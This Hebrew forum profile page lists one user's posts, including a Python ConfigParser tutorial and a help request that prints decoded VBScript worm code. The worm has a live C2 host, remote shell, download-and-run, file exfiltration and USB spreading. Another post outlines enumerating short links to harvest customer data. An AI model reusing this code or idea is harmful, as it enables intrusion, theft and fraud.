דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
ר

רנדומלי

@רנדומלי
אודות
פוסטים
53
נושאים
11
שיתופים
0
קבוצות
0
עוקבים
0
עוקב אחרי
0

פוסטים

פוסטים אחרונים הגבוה ביותר שנוי במחלוקת

  • מדריך | שימוש במודול ConfigParser של Python על מנת לכתוב ולקרוא קבצי תצורה (ini)
    ר רנדומלי

    תגובה: שאלה | דרך נוחה לשמור הגדרות משתמש בפיתון.

    רקע

    תוכנה שכתובה בפיתון הייתה זקוקה בדחיפות לדרך לשמור הגדרות והעדפות משתמש. כמובן שהייתי יכול לכתוב את כל ההגדרות לקובץ טקסט כלשהו, להמציא פורמט וליישם לו פרוטוקול. אבל כבר למדתי על בשרי בעבר לאחר שעמלתי חודשים על יישום פרוטוקולים חדשים פרי מוחי המבריק, שהיו כאלו שהקדימו אותי – שתלו קוד, ניכשו באגים, עקרו קוצים שיפרו ושיפצו, ואז הפיצו לאחרים חילם – או בקיצור – אל תמציא את הגלגל.

    בעקבות ניסיוני רב השנים ידעתי שיש תוכנות רבות שמשתמשות בקובץ בעל סיומת ini על מנת לכתוב לתוכו את ההעדפות, ההגדרות וכל שאר ירקות התלויים במשתמש ספציפי. לאחר שלא ידעתי בעצמי איך משתמשים בקבצים האלו בפיתון, שאלתי שאלה בפורום, אך לאחר שהתגובה היחידה לשאלה שלי נמחקה עוד לפני שעיניי זכו לשזוף אותה, ניסיתי לחפור בעצמי ברחבי המרשתת למרות שאנגלית היא לא הצד החזק שלי, ואני וגוגל טרנסלייט לא מסתדרים במיוחד.

    והנה מצאתי ספריית פיתון שיודעת להתעסק עם קבצים מהסוג הנ"ל. ולא סתם ספרייה, היא מובנת בתוך פיתון ולא צריך להתקין אותה. היות ולא מצאתי שום מדריך לשימוש בספרייה הזאת בעברית סטנדרטית, נאלצתי לכתוב אותה בעצמי, ואז גמרתי אומר לפרסם אותה כי אני מעריץ של קוד פתוח... המדריך הוא בסיסי בלבד ואינו מתיימר להקיף את כל הארגומנטים והמתודות שיש לספרייה להציע.

    מבנה קובץ תצורה ini

    המבנה של הקובץ הוא בסיסי ופשוט. הקובץ מחולק לפסקאות ולכל פסקה יש כותרת – הכותרת נכתבת בין סוגריים מרובעות. לאחר הכותרת ישנם זוגות של מפתחות וערכים (Keys and values) כשבין המפתח והערך יש תו מפריד (בדרך כלל "=" לפעמים ":").

    [paths]
    user = user/path
    log = log/path
    language_files = language/files/path
    
    [settings]
    language = Hebrew
    background = dark
    

    אם נשווה את זה לפיתון זה ייראה לנו כמו מילון (Dictionary) מקונן, כלומר, מילון ראשי שמכיל מפתחות שהן הכותרות של הפסקאות, ולכל מפתח כזה יש ערך שהוא מילון בעצמו. לא פלא שכך בחרו המפתחים של הספרייה להתייחס לקבצי ה-ini בבואם לכתוב קוד שיפענח אותם.

    יצירת קובץ תצורה באמצעות פיתון

    ראשית נייבא את הספרייה configparser בעצם, אנחנו זקוקים למודול ConfigParser בלבד, לכן נייבא רק אותו כדי להקל על העבודה. לאחר מכן נגדיר את המשתנה שיהיה מעתה "משתנה התצורה שלנו".

    from configparser import ConfigParser
    config = ConfigParser()
    

    עכשיו נוכל להוסיף למשתנה הזה צמדים של מפתחות וערכים, כשהם נמצאים מתחת לכותרת. לדוגמא:

    config['paths'] = {
        'user': 'user/path',
        'log': 'log/path',
        'language_files': 'language/files/path'
    }
    

    שימו לב שאנחנו ניגשים למפתח paths במילון שהוא הכותרת ומגדירים תחתיו מילון של מפתחות וערכים.
    ניתן גם להגדיר תחילה את הכותרת כמפתח שהערך שלו הוא מילון ריק, ולאחר מכן למלא את המילון במפתחות וערכים:

    config['settings'] = {}
    config['settings']['language'] = 'Hebrew'
    config['settings']['background'] = 'dark'
    

    שימו לב, כל הערכים שהגדרנו עד כה, אינם מופיעים בשום קובץ. את כל הערכים הכנסנו לתוך משתנה שהוא בעצם class שיודע לתרגם פיתון לקובץ תצורה תקין.

    אז איך אנחנו כותבים את כל ההגדרות שלנו לקובץ, כדי שהם יישמרו גם לאחר שהסקריפט שלנו יסיים את ריצתו? לשם כך נכתבה המתודה write שאליה נעביר אובייקט קובץ כשהוא פתוח במצב כתיבה:

    with open('config.ini', 'w') as file:
        config.write(file)
    

    לאחר שנריץ את הסקריפט הזה נוכל לחזות בקובץ הנוצר:

    [paths]
    user = user/path
    log = log/path
    language_files = language/files/path
    
    [settings]
    language = Hebrew
    background = dark
    

    חשוב לשים לב, לרוב פשטותו, קובץ תצורה שומר את כל הנכתב בו כטקסט פשוט, הוא לא תומך בשום פורמט אחר. כך שתוכלו לכתוב בפיתון ערכים מסוג int או bool אבל פיתון ימיר אותם לטקסט בבואו לכתוב אותם לתוך קובץ התצורה.

    סקריפט:
    config['different_type'] = {
        'int': 50,
        'float': 1.45,
        'bool': False
    }
    
    קובץ תצורה:
    [different_type]
    int = 50
    float = 1.45
    bool = False
    

    לכן כשאתם משתמשים בקבצי תצורה מסוג זה עליכם לדאוג להמיר את סוגי הערכים בחזרה לפני שאתם מבצעים עליהם מניפולציות.

    הערה נוספת: המפתחות בקובץ התצורה אינן תלויי ראשיות (כלומר אין הבדל בין אותיות קטנות לגדולות) כך שגם אם תכתבו את המפתח בסקריפט באותיות גדולות, המפתחות בקובץ תמיד ייכתבו באותיות קטנות. (זה נכון רק לגבי המפתחות – הכותרות והערכים כן תלויי ראשיות).

    קריאת קובץ ושינוי שלו

    עבור קריאת קובץ תצורה ושינוי שלו נשתמש במתודה rade ונספק לה את הנתיב לקובץ שאותו נרצה לקרוא:

    from configparser import ConfigParser
    config = ConfigParser()
    config.read('config.ini')
    

    לאחר שקראנו את הקובץ הוא נמצא בתוך המשתנה שלנו, ואז נוכל לגשת למפתחות ולערכים שנמצאים בתוכו, לקרוא אותם ולשנות אותם.
    הדרך הפשוטה ביותר לעשות זאת היא באמצעות כתיבת שם הכותרת והמפתח:

    print(config['paths']['user']) # user/path
    

    אבל באופן זה אם הערך לא נמצא פיתון יחזיר לנו שגיאת KeyError (מפתח לא נמצא). אנו יכולים להשתמש במתודה get שמאפשרת לקבל את הערך, ובמקרה שהערך לא נמצא היא תחזיר None או שנוכל לספק בעצמנו ערך ברירת מחדל למקרה שהערך לא יימצא:

    print(config.get('paths', 'user', fallback='C:/Users/USER/'))
    

    נוכל לשלוף את שמות כל הכותרות על ידי המתודה sections ולאחר שיש לנו את שמות הכותרות נוכל לשלוף מקטעים שלמים כמילונים:

    print(config.sections()) # ['paths', 'settings']
    print(dict(config['paths']))
    # {'user': 'user/path', 'log': 'log/path', 'language_files': 'language/files/path'}
    

    אם נרצה להוסיף שורה חדשה תחת כותרת קיימת, ניגש אל הכותרת, ולאחר מכן נוסיף את המפתח בתוך סוגריים מרובעות ונוסיף לתוכו את הערך. אפשר גם להוסיף מקטעים חדשים לגמרי.

    # New value
    config['paths']['icon'] = 'icon/path'
    
    # New section
    config['Usage data'] = {
        'Days': 12,
        'Hours': 8
    }
    

    אם נרצה לשנות ערך קיים, נוכל לגשת אליו על ידי הכותרת והמפתח שלו:

    print(config['paths']['user']) # user/path
    config['paths']['user'] = 'user/new/path'
    print(config['paths']['user']) # user/new/path
    

    אבל שימו לב, כל השינויים שנעשים אינם נשמרים אל הקובץ הם שמורים לעת עתה רק בתוך המשתנה שלנו, כשנרצה לשמור את השינויים לקובץ נקרא שוב למתודה writh ונעביר לה את הקובץ שלנו כשהוא פתוח במוד כתיבה:

    with open('config.ini', 'w') as file:
        config.write(file)
    

    והנה קובץ התצורה המעודכן שלנו:

    [paths]
    user = user/new/path
    log = log/path
    language_files = language/files/path
    icon = icon/path
    
    [settings]
    language = Hebrew
    background = dark
    
    [Usage data]
    days = 12
    hours = 8
    

    בהצלחה.

    עזרה הדדית - Python

  • הצעת ייעול | התקנת חבילות פיתון בנטפרי בלי התקנת תעודות אבטחה
    ר רנדומלי

    תגובה: מדריך | התקנת פייתון וחבילות pip (בדגש לנטפרי)

    אפשר לנסות תחביר זה (להחליף את PACKAGE בשם החבילה הרצויה), תחביר זה מונע את הצורך להתקין תעודת אבטחה ומתקינה את החבילות בצורה תקנית גם בנטפרי:

    pip install --trusted-host=pypi.org --trusted-host=files.pythonhosted.org PACKAGE
    
    עזרה הדדית - Python

  • שאלה | הודעה מוזרה בקונסולה של Edge
    ר רנדומלי

    @איש-פשוט-מאוד
    צדקת. זה בגלל נטפרי.
    הנה הודעות הקונסולה ב־Chrome:
    71938a37-dd47-4f39-9dc9-cdf1bf273380-image.png
    לעומת ההודעה ב־Edge:
    aa951303-4221-48e8-ae07-a666c5bb682e-image.png
    כנראה שמייקרוסופט יישמו את 418 בדפדפן שלהם (כמו שכשתשלח קוד 404 או 403 ל־Chrome הוא יציג את הודעת השגיאה ברירת המחדל). מלבד זאת, הם החליטו שכנראה זה יהיה מגניב לתרגם את כל הודעות השגיאה לעברית - ויצא העגל הזה.

    כללי - עזרה הדדית

  • הסבר | תגובה חריגה מ- Gemini
    ר רנדומלי

    @עדלאידע
    שאלת: למה שג'מיני יכתוב דבר שלא תכנתו אותו לכתוב?

    אז זהו, פשוט לא מתכנתים אותו לכתוב. אף אחד לא ישב וכתב עץ דו שיח ענק שמכניס אל תוכו את כל השאלות האפשריות ואת כל התשובות הנכונות אליהן.
    הרעיון המנחה של "בינה מלאכותית" כיום הוא, שהמכונה תלמד בעצמה מה נכון לכתוב, או לצייר.

    בקליפת אגוז - מכניסים אל המכונה מיליוני טקסטים, OpenAI, Google וכל שאר חברות הטכנולוגיה קצרו את כל הטקסטים האפשריים מכל רחבי המרשתת והזינו אותן אל המכונה. והמכונה ניתחה את כל הטקסטים האלו והסיקה מהן בעצמה מהי שפה, מה נכון, מה לא נכון, איך שואלים שאלה, ואיך נכון לענות עליה.
    אף אחד, כולל המדען הראשי של OpenAI לא ידע להסביר לך מה גרם למכונה לענות תשובה א' ולא תשובה ב', מה גרם לה להתנסח באופן ג' ולא באופן ד'. אין לנו דרך לחזות מראש מה תהיה תגובתה של המכונה.

    הבעיה הגדולה של התהליך הזה שהמכונה יכולה לפעמים להיות גזענית, לא מכבדת ולא מנומסת. לכן חברות הטכנולוגיה מצפות את המודלים שלהם בשכבה שאמורה למנוע את כל הבעיות האלו, אבל היות שאין לנו אפשרות לחזות את כל הדרכים שבהן בני אדם ישתמשו במכונה, החברות צריכות כל הזמן לעדכן את המודלים שלהם בהתאם לבעיות שנוצרות. (למי שלא זוכר, בעבר הלא כל כך רחוק, בתחכום קליל היה אפשר לבקש מGPT מפתחות של וינדוס או אפילו מתכון איך להכין פצצה בבית).

    אכן, קצת מפתיע שגוגל לא דאגה לזה שג'מיני לא יבקש מהמשתמשים בו למות, אבל דברים מעין אלו יכולים בהחלט לקרות.

    עזרה הדדית - בינה מלאכותית

  • בקשת מידע | אונקי של Transcend, מהי רמת האמינות שלו.
    ר רנדומלי

    מצטער על כך שתגובה אומללה שלי הצליחה להסיט את נושא האשכול.
    בכל אופן @משחזר-מידע אשמח לדעת על כוננים של איזו חברה אתה נוטה לסמוך.

    כללי - עזרה הדדית

  • בקשת מידע | קיבלתי את ההודעה הזו במייל. זה הונאה או אמיתי?
    ר רנדומלי

    @DAVID-MMOD
    מעניין באמת - כי יש לי כמה השגות קטנות על השיטה שלהם, אם יורשה לי.
    הקישור שהוא קיבל הוא קישור מקוצר שמוביל לדף התשלום, הקישור בנוי מהקידומת https://dsvisrael.page.link/
    ולאחריו שתי אותיות גדולות ושני מספרים. זאת לא בעיה גדולה לבנות סקריפט מעניין שבודק את כל 67,600 הלינקים האפשריים, ואתה מקבל שמות של אנשים + הכתובת המלאה שלהם + המוצר שהם הזמינו + המחיר שלו. בסיס נאה כדי לבנות עליו הונאה טובה...

    עזרה הדדית - מחשבים וטכנולוגיה

  • להורדה | מחולל מנדלות איכותי ופשוט
    ר רנדומלי

    הקטנתי את התפריט, ואפשרתי להחליף רקע בלי לאבד את כל העבודה הקודמת.

    התבססתי על הסקריפט המקורי + כפתור הביטול של @נחמן-פלח (מקווה שלא הפרתי זכויות יוצרים או משהו).

    שימו לב שביטול הפעולה האחרונה חלה רק על הקווים המצוירים ולא על צבע הרקע.
    כמו כן - לפני שאתם קובעים צבע רקע, הורידו את הסימון מ"רקע שקוף" על מנת שתוכלו לראות את הצבע.

    יוצר המנדלות + ביטול פעולה אחרונה.zip

    עריכה: @נחמן-פלח אני רואה שתיקנת את השגיאה, אם תרצה שאמחק את הפוסט - תעדכן.

    כללי - עזרה הדדית

  • בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי
    ר רנדומלי

    בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

    cmd /c hrxxryydxo.vbs && start explorer [file name]
    

    הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

    תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

    לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

    z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
    

    בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
    לאחר פיענוח הקידוד התקבל הקוד הבא:
    אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

    e
    '<[ recoder : houdini (c) skype : houdini-fx ]>
    
    '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
    host = "khattab.no-ip.biz"
    port = 5550
    installdir = "%temp%"
    lnkfile = true
    lnkfolder = true
    
    '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
    
    dim shellobj 
    set shellobj = wscript.createobject("wscript.shell")
    dim filesystemobj
    set filesystemobj = createobject("scripting.filesystemobject")
    dim httpobj
    set httpobj = createobject("msxml2.xmlhttp")
    
    '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
    
    installname = wscript.scriptname
    startup = shellobj.specialfolders ("startup") & "\"
    installdir = shellobj.expandenvironmentstrings(installdir) & "\"
    if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
    spliter = "<" & "|" & ">"
    sleep = 5000 
    dim response
    dim cmd
    dim param
    info = ""
    usbspreading = ""
    startdate = ""
    dim oneonce
    
    '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
    on error resume next
    
    instance
    while true
    
    install
    
    response = ""
    response = post ("is-ready","")
    cmd = split (response,spliter)
    select case cmd (0)
    case "excecute"
          param = cmd (1)
          execute param
    case "update"
          param = cmd (1)
          oneonce.close
          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
          oneonce.write param
          oneonce.close
          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
          wscript.quit 
    case "uninstall"
          uninstall
    case "send"
          download cmd (1),cmd (2)
    case "site-send"
          sitedownloader cmd (1),cmd (2)
    case "recv"
          param = cmd (1)
          upload (param)
    case  "enum-driver"
          post "is-enum-driver",enumdriver  
    case  "enum-faf"
          param = cmd (1)
          post "is-enum-faf",enumfaf (param)
    case  "enum-process"
          post "is-enum-process",enumprocess   
    case  "cmd-shell"
          param = cmd (1)
          post "is-cmd-shell",cmdshell (param)  
    case  "delete"
          param = cmd (1)
          deletefaf (param) 
    case  "exit-process"
          param = cmd (1)
          exitprocess (param) 
    case  "sleep"
          param = cmd (1)
          sleep = eval (param)        
    end select
    
    wscript.sleep sleep
    
    wend
    
    sub install
    on error resume next
    dim lnkobj
    dim filename
    dim foldername
    dim fileicon
    dim foldericon
    
    upstart
    for each drive in filesystemobj.drives
    
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
            filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
        end if
        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
            if not lnkfile then exit for
            if  instr (file.name,".") then
                if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                    file.attributes = 2+4
                    if  ucase (file.name) <> ucase (installname) then
                        filename = split(file.name,".")
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                        if  instr (fileicon,",") = 0 then
                            lnkobj.iconlocation = file.path
                        else 
                            lnkobj.iconlocation = fileicon
                        end if
                        lnkobj.save()
                    end if
                end if
            end if
        next
        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
            if not lnkfolder then exit for
            folder.attributes = 2+4
            foldername = folder.name
            set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
            lnkobj.windowstyle = 7
            lnkobj.targetpath = "cmd.exe"
            lnkobj.workingdirectory = ""
            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
            foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
            if  instr (foldericon,",") = 0 then
                lnkobj.iconlocation = folder.path
            else 
                lnkobj.iconlocation = foldericon
            end if
            lnkobj.save()
        next
    end If
    end If
    end if
    next
    err.clear
    end sub
    
    sub uninstall
    on error resume next
    dim filename
    dim foldername
    
    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    filesystemobj.deletefile startup & installname ,true
    filesystemobj.deletefile wscript.scriptfullname ,true
    
    for  each drive in filesystemobj.drives
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        for  each file in filesystemobj.getfolder ( drive.path & "\").files
             on error resume next
             if  instr (file.name,".") then
                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                     file.attributes = 0
                     if  ucase (file.name) <> ucase (installname) then
                         filename = split(file.name,".")
                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                     else
                         filesystemobj.deletefile (drive.path & "\" & file.name)
                     end If
                 else
                     filesystemobj.deletefile (file.path) 
                 end if
             end if
         next
         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
             folder.attributes = 0
         next
    end if
    end if
    end if
    next
    wscript.quit
    end sub
    
    function post (cmd ,param)
    
    post = param
    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
    httpobj.setrequestheader "user-agent:",information
    httpobj.send param
    post = httpobj.responsetext
    end function
    
    function information
    on error resume next
    if  inf = "" then
        inf = hwid & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
    
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set os = root.execquery ("select * from win32_operatingsystem")
        for each osinfo in os
           inf = inf & osinfo.caption & spliter  
           exit for
        next
        inf = inf & "plus" & spliter
        inf = inf & security & spliter
        inf = inf & usbspreading
        information = inf  
    else
        information = inf
    end if
    end function
    
    sub upstart ()
    on error resume Next
    
    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
    
    end sub
    
    function hwid
    on error resume next
    
    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set disks = root.execquery ("select * from win32_logicaldisk")
    for each disk in disks
        if  disk.volumeserialnumber <> "" then
            hwid = disk.volumeserialnumber
            exit for
        end if
    next
    end function
    
    function security 
    on error resume next
    
    security = ""
    
    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
    for each objitem in colitems
        versionstr = split (objitem.version,".")
    next
    versionstr = split (colitems.version,".")
    osversion = versionstr (0) & "."
    for  x = 1 to ubound (versionstr)
         osversion = osversion &  versionstr (i)
    next
    osversion = eval (osversion)
    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
    
    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
    
    for each objantivirus in colantivirus
        security  = security  & objantivirus.displayname & " ."
    next
    if security  = "" then security  = "nan-av"
    end function
    
    function instance
    on error resume next
    
    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
    if usbspreading = "" then
       if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
          usbspreading = "true - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
       else
          usbspreading = "false - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
    
       end if
    end If
    
    
    upstart
    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
        wscript.quit 
    end If
    err.clear
    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
    if  err.number > 0 then wscript.quit
    end function
    
    sub sitedownloader (fileurl,filename)
    
    strlink = fileurl
    strsaveto = installdir & filename
    set objhttpdownload = createobject("msxml2.xmlhttp" )
    objhttpdownload.open "get", strlink, false
    objhttpdownload.send
    
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
     
    if objhttpdownload.status = 200 then
       dim  objstreamdownload
       set  objstreamdownload = createobject("adodb.stream")
       with objstreamdownload
            .type = 1 
            .open
            .write objhttpdownload.responsebody
            .savetofile strsaveto
            .close
       end with
       set objstreamdownload = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    sub download (fileurl,filedir)
    
    if filedir = "" then 
       filedir = installdir
    end if
    
    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
    set objhttpdownload = createobject("msxml2.xmlhttp")
    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
    objhttpdownload.send ""
         
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
    if  objhttpdownload.status = 200 then
        dim  objstreamdownload
        set  objstreamdownload = createobject("adodb.stream")
        with objstreamdownload 
             .type = 1 
             .open
             .write objhttpdownload.responsebody
             .savetofile strsaveto
             .close
        end with
        set objstreamdownload  = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    function upload (fileurl)
    
    dim  httpobj,objstreamuploade,buffer
    set  objstreamuploade = createobject("adodb.stream")
    with objstreamuploade 
         .type = 1 
         .open
         .loadfromfile fileurl
         buffer = .read
         .close
    end with
    set objstreamdownload = nothing
    set httpobj = createobject("msxml2.xmlhttp")
    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
    httpobj.send buffer
    end function
    
    function enumdriver ()
    
    for  each drive in filesystemobj.drives
    if   drive.isready = true then
         enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
    end if
    next
    end Function
    
    function enumfaf (enumdir)
    
    enumfaf = enumdir & spliter
    for  each folder in filesystemobj.getfolder (enumdir).subfolders
         enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
    next
    
    for  each file in filesystemobj.getfolder (enumdir).files
         enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
    
    next
    end function
    
    function enumprocess ()
    
    on error resume next
    
    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_process",,48)
    
    dim objitem
    for each objitem in colitems
        enumprocess = enumprocess & objitem.name & "|"
        enumprocess = enumprocess & objitem.processid & "|"
        enumprocess = enumprocess & objitem.executablepath & spliter
    next
    end function
    
    sub exitprocess (pid)
    on error resume next
    
    shellobj.run "taskkill /F /T /PID " & pid,7,true
    end sub
    
    sub deletefaf (url)
    on error resume next
    
    filesystemobj.deletefile url
    filesystemobj.deletefolder url
    
    end sub
    
    function cmdshell (cmd)
    
    dim httpobj,oexec,readallfromany
    
    set oexec = shellobj.exec ("%comspec% /c " & cmd)
    if not oexec.stdout.atendofstream then
       readallfromany = oexec.stdout.readall
    elseif not oexec.stderr.atendofstream then
       readallfromany = oexec.stderr.readall
    else 
       readallfromany = ""
    end if
    
    cmdshell = readallfromany
    end function
    
    עזרה הדדית - מחשבים וטכנולוגיה

  • שאלה | תגובה לכיבוי אוטומטי ללא הפעלה חוזרת - תגובה ל"מייעל צריכת חשמל"
    ר רנדומלי

    אם תשתמש בשעון שבת, השעון גם יפעיל את המזגן בחזרה כעבור הזמן שהגדרת לו.
    המטרה של הטכניקה שמציע @רפאל-0 היא לכבות את המזגן לגמרי ולא להיות תלוי בשעון שבת שידפוק כמו שעון גם בימים שבהם אין לימודים במוסד.

    המטרה של שעון השבת במקרה שלנו, היא לנתק לרבע שעה את המגען, ובכך לכבות את המזגן עד שמישהו ילחץ שוב על הכפתור וידליק אותו.

    חשמל - שונות

  • הסבר | תגובה חריגה מ- Gemini
    ר רנדומלי

    @עדלאידע
    בוודאי!
    הכוונה שלי הייתה לומר שזאת לא רשימה לבנה אלא רשימה שחורה (-כי הם לא רוצים להגביל את היצירתיות של המודל) והיות שאי אפשר לחזות באמת את כל סוגי השימוש הקיימים - יש פספוסים.

    עזרה הדדית - בינה מלאכותית

  • בקשת מידע | אונקי של Transcend, מהי רמת האמינות שלו.
    ר רנדומלי

    @משחזר-מידע כתב בבקשת מידע | אונקי של Transcend, מהי רמת האמינות שלו.:

    מן הסתם כמו כל הזבל של כל הטכנולוגיה הזאת ולא משנה מה שם היצרן
